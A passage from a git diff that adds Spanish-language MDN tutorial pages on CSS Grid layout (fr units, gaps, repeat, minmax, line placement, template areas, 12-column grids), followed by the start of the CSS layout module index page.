+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+} </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_1', '100%', 400) }}</p>
+
+<h3 id="Cuadrículas_flexibles_con_la_unidad_fr">Cuadrículas flexibles con la unidad fr</h3>
+
+<p>Además de crear cuadrículas con longitudes y porcentajes, podemos usar la unidad <code>fr</code> para dimensionar de manera flexible las filas y columnas de la cuadrícula. Esta unidad representa una fracción del espacio disponible en el contenedor de la cuadrícula.</p>
+
+<p>Cambia tu lista de trazas en la definición siguiente para crear tres trazas <code>1fr</code>.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+}</pre>
+
+<p>Ahora deberías observar que tus trazas son flexibles. La unidad <code>fr</code> distribuye el espacio por proporciones, de modo que puedes dar valores positivos diferentes a sus trazas, por ejemplo, si cambias la definición de la manera siguiente:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+}</pre>
+
+<p>Ahora la primera traza tiene <code>2fr</code> del espacio disponible, y las otras dos trazas tienen <code>1fr</code>, lo que da una primera traza más grande. Puedes mezclar unidades <code>fr</code> y trazas de longitud fija; en tal caso, el espacio que se necesita para las trazas fijas se descuenta del espacio en que se distribuyen las otras trazas.</p>
+
+<div id="Grid_2">
+<div class="hidden">
+<h6 id="Ejemplo_de_cuadrícula_sencilla_con_unidades_fr">Ejemplo de cuadrícula sencilla con unidades fr</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;Uno&lt;/div&gt;
+  &lt;div&gt;Dos&lt;/div&gt;
+  &lt;div&gt;Tres&lt;/div&gt;
+  &lt;div&gt;Cuatro&lt;/div&gt;
+  &lt;div&gt;Cinco&lt;/div&gt;
+  &lt;div&gt;Seis&lt;/div&gt;
+  &lt;div&gt;Siete&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_2', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La unidad <code>fr</code> distribuye el espacio <em>disponible</em>, no <em>todo</em> el espacio. Por lo tanto, si una de tus trazas tiene algo grande dentro, habrá menos espacio libre para compartir.</p>
+</div>
+
+<h3 id="Los_espacios_entre_trazas">Los espacios entre trazas</h3>
+
+<p>Para crear espacios entre trazas, utilizamos las propiedades {{cssxref ("grid-column-gap")}} para los espacios entre columnas, {{cssxref ("grid-row-gap")}} para los espacios entre filas, y {{ cssxref ("grid-gap")}} para configurar ambos a la vez.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+    grid-gap: 20px;
+}</pre>
+
+<p>Estos espacios pueden expresarse en cualquier unidad de longitud o en porcentaje, pero no en unidades <code>fr</code>.</p>
+
+<div id="Grid_3">
+<div class="hidden">
+<h6 id="Ejemplo_2_de_cuadrícula_sencilla_con_unidades_fr">Ejemplo 2 de cuadrícula sencilla con unidades fr</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;Uno&lt;/div&gt;
+  &lt;div&gt;Dos&lt;/div&gt;
+  &lt;div&gt;Tres&lt;/div&gt;
+  &lt;div&gt;Cuatro&lt;/div&gt;
+  &lt;div&gt;Cinco&lt;/div&gt;
+  &lt;div&gt;Seis&lt;/div&gt;
+  &lt;div&gt;Siete&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_3', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las propiedades <code>*gap</code> solían tener el prefijo <code>grid-</code>, pero esto se ha cambiado en la especificación, porque la intención es hacerlas compatibles con diversos métodos de diseño. Por el momento, Edge y Firefox admiten las versiones sin prefijo, y las versiones con prefijo se mantienen como un alias, por lo que será seguro usarlas durante algún tiempo. Para quedarte en lo seguro, y que tu código sea más a prueba de balas, puedes duplicar y añadir ambas propiedades.</p>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+  gap: 20px;
+}</pre>
+
+<h3 id="Repetir_listas_de_trazas">Repetir listas de trazas</h3>
+
+<p>Puedes repetir todas tus trazas, o una sección de tu lista de trazas, con la notación de repetición. Cambia tu lista de trazas por lo siguiente:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+}</pre>
+
+<p>Ahora vas a tener 3 trazas de <code>1fr</code>, igual que antes. El primer valor que pasas a la función de repetición son las veces que deseas que la lista se repita, mientras que el segundo valor es una lista de trazas, que puede constar de una o más trazas.</p>
+
+<h3 id="La_cuadrícula_implícita_y_explícita">La cuadrícula implícita y explícita</h3>
+
+<p>Hasta ahora solo hemos especificado trazas de columna y, sin embargo, también creamos filas para contener nuestro contenido. Este es un ejemplo de una cuadrícula explícita con respecto a una implícita. La cuadrícula explícita es la que creas usando <code>grid-template-columns</code> o <code>grid-template-rows</code>. La cuadrícula implícita se crea cuando el contenido se posiciona fuera de esa cuadrícula, como en nuestras filas. Las cuadrículas explícitas e implícitas son análogas a los ejes principales y transversales del método Flexbox.</p>
+
+<p>Por defecto, las trazas que se crean en la cuadrícula implícita tienen un tamaño <code>auto</code>, lo que en general significa que son lo bastante grandes para ajustarse a su contenido. Si deseas asignar un tamaño a las trajas de las cuadrícula implícitas, puedes usar las propiedades {{cssxref ("grid-auto-rows")}} y {{cssxref ("grid-auto-columns")}}. Si añades <code>grid-auto-rows</code> con un valor de <code>100px</code> a tu CSS, observa que esas filas que has creado ahora tienen 100 píxeles de alto.</p>
+
+<div id="Grid_4">
+<div class="hidden">
+<h6 id="Ejemplo_3_de_cuadrícula_sencilla_con_unidades_fr">Ejemplo 3 de cuadrícula sencilla con unidades fr</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;Uno&lt;/div&gt;
+  &lt;div&gt;Dos&lt;/div&gt;
+  &lt;div&gt;Tres&lt;/div&gt;
+  &lt;div&gt;Cuatro&lt;/div&gt;
+  &lt;div&gt;Cinco&lt;/div&gt;
+  &lt;div&gt;Seis&lt;/div&gt;
+  &lt;div&gt;Siete&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 20px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_4', '100%', 400) }}</p>
+
+<h3 id="La_función_minmax">La función minmax()</h3>
+
+<p>Nuestras trazas de 100 píxeles de altura no serán muy útiles si en esas trazas añadimos contenido cuya altura sea mayor que 100 píxeles, porque ello causaría un desbordamiento. Puede ser mejor tener trazas cuya altura sea de <em>al menos</em> 100 píxeles y que puedan expandirse si en ellas entra más contenido. Un hecho en realidad básico sobre la web es que nunca sabes qué altura va a tener algo; contenido adicional o tamaños de letra más grandes pueden causar problemas con los diseños que pretendes ser perfectos con todas las dimensiones en píxeles.</p>
+
+<p>La función <code>minmax</code> permite establecer unos tamaños mínimo y máximo para una traza, por ejemplo, <code>minmax(100px, auto)</code>. El tamaño mínimo es de 100 píxeles, pero el máximo es <code>auto</code>, que se expande para adaptarse al contenido. Prueba a cambiar <code>grid-auto-rows</code> para usar un valor minmax:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-gap: 20px;
+}</pre>
+
+<p>Observa que si añades contenido la traza se expande para permitir que se ajuste. Ten en cuenta que la expansión se produce en la dirección de la fila.</p>
+
+<h3 id="Tantas_columnas_como_quepan">Tantas columnas como quepan</h3>
+
+<p>Podemos combinar algunas de las cosas que hemos aprendido sobre las listas de trazas, la notación de repetición y la función <code>minmax()</code> para crear un patrón útil. A veces es útil poder pedirle a la cuadrícula que cree tantas columnas como quepan en el contenedor. Para hacer esto establecemos el valor <code>grid-template-columns</code> con la notación <code>repeat()</code>, pero en lugar de pasar un número, pasa la palabra clave <code>auto-fill</code>. Para el segundo parámetro de la función usamos <code>minmax()</code>, con un valor mínimo igual al tamaño mínimo de la traza que nos gustaría tener, y un valor máximo de <code>1fr</code>.</p>
+
+<p>Prueba esto en tu archivo ahora, con el CSS siguiente:</p>
+
+<div id="Grid_5">
+<div class="hidden">
+<h6 id="Tantas_columnas_como_quepan_2">Tantas columnas como quepan</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;Uno&lt;/div&gt;
+  &lt;div&gt;Dos&lt;/div&gt;
+  &lt;div&gt;Tres&lt;/div&gt;
+  &lt;div&gt;Cuatro&lt;/div&gt;
+  &lt;div&gt;Cinco&lt;/div&gt;
+  &lt;div&gt;Seis&lt;/div&gt;
+  &lt;div&gt;Siete&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+  grid-auto-rows: minmax(100px, auto);
+  grid-gap: 20px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_5', '100%', 400) }}</p>
+
+<p>Esto funciona porque la cuadrícula crea tantas columnas de 200 píxeles como caben en el contenedor, luego comparte el espacio restante entre todas las columnas: el máximo es 1fr, que como sabemos, distribuye el espacio de manera uniforme entre las trazas.</p>
+
+<h2 id="Posicionamiento_sobre_las_líneas_de_base">Posicionamiento sobre las líneas de base</h2>
+
+<p>Ahora pasamos de crear una cuadrícula a colocar cosas en la cuadrícula. Nuestra cuadrícula siempre tiene líneas; estas líneas comienzan en 1 y se relacionan con el modo de escritura del documento. Por lo tanto, en español, la línea de columna 1 es la de la izquierda de la cuadrícula y la línea de fila 1 es la de la parte superior. En una columna arábiga, la línea 1 estaría en el lado derecho, ya que el árabe se escribe de derecha a izquierda.</p>
+
+<p>Podemos posicionar los elementos de acuerdo con estas líneas si especificamos las líneas de inicio y final. Hacemos esto con las propiedades siguientes:</p>
+
+<ul>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+</ul>
+
+<p>Todas estas propiedades pueden tener un número de línea como valor. También puedes usar las propiedades abreviadas:</p>
+
+<ul>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+</ul>
+
+<p>Estas te permiten especificar a la vez las líneas de inicio y final, separadas por un carácter de barra diagonal: <code>/</code>.</p>
+
+<p>Descarga este <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html">archivo de punto de partida</a> o <a href="https://mdn.github.io/learning-area/css/css-layout/grids/8-placement-starting-point.html">míralo en vivo aquí</a>. Ya hay una cuadrícula definida y un elemento sencillo esbozado. Puedes observar que el posicionamiento automático coloca un elemento en cada celda de la cuadrícula que hemos creado.</p>
+
+<p>Nosotros vamos a utilizar en lugar de ello las líneas de cuadrícula para posicionar sobre la cuadrícula todos los elementos de nuestro sitio web. Añade al final de tu código CSS las reglas siguientes:</p>
+
+<pre class="brush: css">header {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 2;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 3;
+  grid-row: 3;
+}</pre>
+
+<div id="Grid_6">
+<div class="hidden">
+<h6 id="Posicionamiento_sobre_las_líneas_de_base_2">Posicionamiento sobre las líneas de base</h6>
+
+<pre class="brush: css">body {
+                    width: 90%;
+                    max-width: 900px;
+                    margin: 2em auto;
+                    font: .9em/1.2 Arial, Helvetica, sans-serif;
+                }
+
+                .container {
+                    display: grid;
+                    grid-template-columns: 1fr 3fr;
+                    grid-gap: 20px;
+                }
+header {
+    grid-column: 1 / 3;
+    grid-row: 1;
+}
+
+article {
+    grid-column: 2;
+    grid-row: 2;
+}
+
+aside {
+    grid-column: 1;
+    grid-row: 2;
+}
+
+footer {
+    grid-column: 1 / 3;
+    grid-row: 3;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;Este es mi blog&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;Mi artículo&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt;
+    &lt;h2&gt;Otras cosas&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contáctame: me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_6', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: también puedes usar el valor <code>-1</code> para señalar la columna del final o la fila del final, y contar hacia atrás desde el final con valores negativos. Sin embargo, esto solo funciona con la cuadrícula explícita. El valor <code>-1</code> no señala la línea del final de la cuadrícula implícita.</p>
+</div>
+
+<h2 id="Posicionamiento_con_grid-template-areas">Posicionamiento con grid-template-areas</h2>
+
+<p>Una forma alternativa de posicionar elementos en tu cuadrícula es usar la propiedad {{cssxref ("grid-template-areas")}} y asignar un nombre a los diversos elementos de tu diseño.</p>
+
+<p>Elimina el posicionamiento sobre las líneas de base del último ejemplo (o vuelve a descargar el archivo para tener un punto de partida nuevo) y añade el código CSS siguiente.</p>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-areas:
+      "header header"
+      "sidebar content"
+      "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}</pre>
+
+<p>Vuelve a cargar la página y observa que tus elementos se han colocado como antes ¡sin necesidad de usar números de línea!</p>
+
+<div id="Grid_7">
+<div class="hidden">
+<h6 id="Posicionamiento_sobre_las_líneas_de_base_3">Posicionamiento sobre las líneas de base 3</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}
+
+.container {
+  display: grid;
+  grid-template-areas:
+  "header header"
+  "sidebar content"
+  "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;Este es mi blog&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;Mi artículo&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt; &lt;h2&gt;Otras cosas&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contáctame: me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_7', '100%', 400) }}</p>
+
+<p>Las reglas para <code>grid-template-areas</code> son las siguientes:</p>
+
+<ul>
+ <li>Hay que tener todas las celdas de la cuadrícula llenas.</li>
+ <li>Para abarcar el ancho de dos celdas, repite el nombre.</li>
+ <li>Para dejar una celda vacía, utiliza un punto: <code>.</code>.</li>
+ <li>Las áreas han de ser rectangulares; por ejemplo, no puedes haber un área en forma de L.</li>
+ <li>Las áreas no pueden repetirse en lugares diferentes.</li>
+</ul>
+
+<p>Puedes jugar con nuestro diseño, por ejemplo, cambiar el pie de página para que esté solo debajo del contenido, y la barra lateral para abarcar todo. Esta manera de describir un diseño de página es muy adecuada porque resulta obvio a partir del CSS qué sucede exactamente.</p>
+
+<h2 id="Una_cuadrícula_CSS_formato_de_cuadrícula">Una cuadrícula CSS, formato de cuadrícula</h2>
+
+<p>Los «formatos» de cuadrícula tienden a basarse en cuadrículas de 12 o 16 columnas, y con las cuadrículas CSS no necesitas ninguna herramienta de terceros para proporcionarte dicho formato, porque ya está en la especificación.</p>
+
+<p>Descárgate el <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html">archivo de punto de partida</a>. Contiene un contenedor con una cuadrícula de 12 columnas definida y el mismo código de marcado que usamos en los dos ejemplos anteriores. Ahora podemos usar el posicionamiento sobre las líneas de base para colocar nuestro contenido en la cuadrícula de 12 columnas.</p>
+
+<pre class="brush: css">header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}</pre>
+
+<div id="Grid_8">
+<div class="hidden">
+<h6 id="Un_método_de_compaginación_en_cuadrícula_con_CSS">Un método de compaginación en cuadrícula con CSS</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: repeat(12, minmax(0,1fr));
+  grid-gap: 20px;
+}
+
+header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;Este es mi blog&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;Mi artículo&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt; &lt;h2&gt;Otras cosas&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contáctame: me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_8', '100%', 400) }}</p>
+
+<p>Si usas el <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">inspector de cuadrícula de Firefox</a> para ver una superposición de las líneas de cuadrícula sobre tu diseño, puedes observar cómo funciona nuestra cuadrícula de 12 columnas.</p>
+
+<p><img alt="Una superposición de la cuadrícula de 12 columnas de nuestro diseño de página." src="https://mdn.mozillademos.org/files/16045/learn-grids-inspector.png" style="height: 1026px; width: 2028px;"></p>
+
+<h2 id="¡Pon_a_prueba_tus_conocimientos!">¡Pon a prueba tus conocimientos!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿recuerdas la información más importante? Encontrarás test de prueba que te permitirán verificar que has asimilado esta información antes de continuar en: <a href="/en-US/docs/Learn/CSS/CSS_layout/Grid_skills">Pon a prueba tus conocimientos: Cuadrículas</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En esta descripción general, hemos recorrido las características principales del diseño páginas web con cuadrícula CSS. Deberías poder comenzar a usarlo en tus diseños. Para profundizar en la especificación, lee nuestras guías para el diseño de página con cuadrícula, que puedes encontrar a continuación.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout#Guides">Guías de cuadrícula CSS</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Inspector de cuadrícula CSS: Examinar diseños de cuadrícula</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Flotación</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño adaptativo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a media</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredados</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad con navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de elementos básicos de compaginación</a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/index.html b/files/es/learn/css/css_layout/index.html
new file mode 100644
index 0000000000..afa1b0f9a0
--- /dev/null
+++ b/files/es/learn/css/css_layout/index.html
@@ -0,0 +1,87 @@
+---
+title: Diseño CSS
+slug: Learn/CSS/CSS_layout
+tags:
+  - Aprender
+  - CSS
+  - Floating
+  - Grids
+  - Guía
+  - Landing
+  - Layout
+  - Module
+  - Multiple column
+  - Positioning
+  - Principiante
+  - TopicStub
+  - flexbox
+  - float
+translation_of: Learn/CSS/CSS_layout
+---
+<div>{{draft}}</div>
+
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Llegados a este punto, hemos examinado los fundamentos básicos de CSS: cómo dar estilo al texto y cómo manipular las cajas que incluyen tu contenido. Llegó el momento de explorar cómo colocar tus cajas en el lugar que elijas con respecto a la ventana principal y el resto de cajas. Hemos cubierto ya los prerrequisitos necesarios, así que vamos a sumergirnos en la maquetación CSS, fijándonos en diferentes configuraciones de visualización, métodos de maquetación tradicionales que implican <em>floats </em>y posicionamiento, así como a nuevas herramientas de maquetación en voga, como <em>flexbox</em>.</p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de comenzar este módulo, ya deberías:</p>
+
+<ol>
+ <li>Estar familiarizado con HTML, como se expone en el módulo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>.</li>
+ <li>Sentirte cómodo con los fundamentos de CSS, que se discuten en   <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.</li>
+ <li>Entender como diseñar cajas <a href="/en-US/docs/Learn/CSS/Styling_boxes">style boxes</a>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás trabajando en un dispositivo donde no tengas la posibilidad de crear tus propios archivos, puedes probar la mayoría de los ejemplos de código en un programa online como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Estos artículos te proporcionarán instrucciones sobre las herramientas y técnicas básicas de maquetación disponibles en CSS.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/CSS_layout/Introduction">Introducción a la maquetación CSS</a></dt>
+ <dd>En este artículo repasaremos algunas de las características de la maquetación con CSS que ya hemos tratado en módulos previos, como los diferentes valores de {{cssxref("display")}} ; e introduciremos algunos de los conceptos que estudiaremos a lo largo del módulo.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/CSS_layout/Flujo_normal">Normal flow</a></dt>
+ <dd>Los elementos en las páginas web se presentan de acuerdo con el <em>flujo normal, </em>hasta que hacemos algo que cambie eso. Este artículo explica las bases del flujo normal para aprender como cambiarlo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt>
